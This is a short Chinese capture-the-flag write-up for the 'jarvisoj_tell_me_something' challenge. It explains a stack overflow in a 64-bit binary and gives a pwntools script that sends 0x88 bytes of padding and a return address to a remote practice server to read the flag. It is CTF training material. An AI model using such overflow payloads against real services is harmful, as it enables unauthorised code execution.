本文介绍了一种通过发现并利用程序中的v4溢出漏洞，成功覆盖返回地址以读取隐藏的flag文件的技术过程。使用远程连接工具及精心构造的payload实现了目标。
jarvisoj_tell_me_something
例行检查，开启NX保护，64bit
运行一下
用IDA打开，看到了关键函数 flag.txt.跟进一下。
flag_addr=0x400620
看一下主函数。
输入点的v4溢出漏洞，利用它覆盖返回地址为flag_addr的地址读出flag。
汇编结尾没有leave
起步刚开始就直接是rsp减去0x88，这里是没有把rbp压入栈，所以只需要0x88的数据大小，就可以覆盖返回地址了
from pwn import *
r=remote('node3.buuoj.cn',29495)
flag_addr=0x400620
payload='a'*(0x88)+p64(flag_addr)
r.sendline(payload)
r.interactive()
扫一扫
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
